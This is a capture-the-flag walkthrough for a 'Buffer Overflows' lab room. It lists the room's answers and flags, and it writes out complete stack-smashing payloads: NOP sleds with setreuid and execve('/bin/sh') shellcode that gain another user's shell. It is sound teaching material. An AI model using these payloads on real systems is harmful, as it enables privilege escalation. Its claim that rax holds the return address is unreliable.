Skip to content

Buffer Overflows Banner

Buffer Overflows Logo

Buffer Overflows

This guide contains the answer and steps necessary to get to them for the Buffer Overflows room.

Table of contents

Process Layout

  1. Where is dynamically allocated memory stored?

The answer can be found in the text.

Click for answerHeap

  1. Where is information about functions(e.g. local arguments) stored?

The answer can be found in the text.

Click for answerStack

x86-64 Procedures

  1. What direction does the stack grown(l for lower/h for higher)

The answer can be found in the text.

Click for answerl

  1. What instruction is used to add data onto the stack?

The answer can be found in the text.

Click for answerpush

Procedures Continued

  1. What register stores the return address?

The answer can be found in the text.

Click for answerrax

Overwriting Variables

  1. What is the minimum number of characters needed to overwrite the variable?

If we look at the c script in the first overflow folder we can see the buffer has 14 bytes.

Variables Script

This means we must use at least 15 bytes of data in order to overwrite the variable.

Variables Overflow

Click for answer15

Overwriting Function Pointers

  1. Invoke the special function()

Opening our binary in radare we can see what the memory location is of our normal and special function.

r2 -d ./func-pointer
aa
afl
pdf @ main

Pointer Addresses

We also no where to add a break so we can enter our input. Lets try a normal input to see what happends.

First set a breakpoint then add the input.

db 0x004005d1
dc

AAAA
dc

Pointer Normal

We can see the normal function has been called.

Since we know the memory location of the special function in hex notation, lets convert it to text.

Pointer Convert

Note that we need to use little endian notation.

We now have 3 characters we can add to our payload.

The hex character representing \x05 can be entered using the keys ctrl + E.

Pointer Control

From the binary we saw that our buffer is 14 bytes long, so our payload will be:

AAAAAAAAAAAAAAg^E@

Note that we must not use the characters '^' and 'E', rather the combination of ctrl + E.

ood -> To restart the binary
dc

AAAAAAAAAAAAAAg{ctrl + E}@
dc

Pointer Special

Buffer Overflows

  1. Use the above method to open a shell and read the contents of the secret.txt file.

Instead of using radare2 for this, I found it to be much easier using gdb. Lets over the binary using gdb and check how many bytes we need to overwryte the return address.

From the binary we can tell our buffer is 140 bytes long. We also need a 6 bytes return address and there is often an 8 bytes padding in x64 systems. Totaling this gives us a first estimate of 154 bytes.

Overflows1 Binary

gdb buffer-overflow

$(python -c "print('\x41'*154)")

Overflows1 Payload Length

We can see we have just 2 bytes written in the return address. Since we need 6 in total, we must add 4 more bytes to our payload.

$(python -c "print('\x41'*158)")

Overflows1 Payload Length2

Previously, we saw that the secrets text must be accessed by user2. So we must add a piece of code to our shellcode that will change our uid. This can be accomplished with pwntools.

In this case user 2 has a uid of 1002.

Overflows1 Users

pwn shellcraft -f d amd64.linux.setreuid 1002

Overflows1 Setreuid2

Now we can add it to our shellcode and look for the return address of our shellcode in gdb.

Our shellcode is now 54 bytes long. Excluding the return address of 6 bytes we are left with 98 bytes left. Our payload will look as follows.

| NOPs 90 | Shellcode 54 | random characters 8 | return address 6|

After that we must check the registry to see where our shell code starts.

run $(python -c "print('\x90' * 76 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05' + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A' * 22 + 'B' * 6)")

x/100x $rsp-200

Overflows1 Registry

We can cleary see where our NOPs begin, our shellcode and return address. We can use anywhere within the NOPs as our return address. So we will use 0x7fffffffe298 in our case.

Converting this into a hex string (keeping in mind it uses little endian notation) gives us our return address:

'\x98\xe2\xff\xff\xff\x7f'

We can now add this to our payload, exit gdb and run the binary with our payload.

python -c "print('\x90' * 76 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05' + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A' * 22 + '\x98\xe2\xff\xff\xff\x7f')"

Overflows1 Shell

Looks like we have our shell as user2!

Now we just need to read the file.

Overflows1 Text

Click for answeromgyoudidthissocool!!

Buffer Overflow 2

  1. Use the same method to read the contents of the secret file!

We can use the same method, but we need to modify our shellcode slightly.

Looking at the binary we can see our buffer is now 154 long and pre-populated with the word doggo.

Overflows2 Binary

Lets check the neccesary length for our payoad again using gdb. Adding our buffer (154), random characters (8), and return address (6).

run $(python -c "print('\x41'*168)")

run $(python -c "print('\x41'*169)")

Overflows2 Payload Length

Seems we were just 1 byte shy, so our payload length will be 169 bytes.

We now add a piece of code to change our uid to that of user3 (1003)

pwn shellcraft -f d amd64.linux.setreuid 1003

Overflows2 Setreuid3

Now we must find the beginning of our shellcode again like we did last time.

run $(python -c "print('\x90' * 100 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05' + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A' * 9 + 'B' * 6)")

Overflows2 Registry

We now know were our code starts. We can again use the registry address of 0x7fffffffe298 or \x98\xe2\xff\xff\xff\x7f.

Substituting this into our payload and running the binary with it gives us a shell as user3.

python -c "print('\x90' * 100 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05' + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A' * 9 + '\x98\xe2\xff\xff\xff\x7f')"

Overflows2 Shell

Now we can read our secret file.

Overflows2 Text

Click for answerwowanothertime!!

  • 🔗 https://l1ge.github.io/tryhackme_bof1/
  • 🔗 https://rderik.com/blog/understanding-buffer-overflows-using-radare2/
  • 🔗 https://bobloblaw321.wixsite.com/website/post/tryhackme-buffer-overflows
  • 🔗 https://shamsher-khan-404.medium.com/buffer-overflows-tryhackme-writeup-348aec9c1dfe
  • 🔗 https://github.com/amirr0r/thm/tree/master/bof1
  • 🔗 https://www.aldeid.com/wiki/TryHackMe-Buffer-Overflows#Buffer_Overflows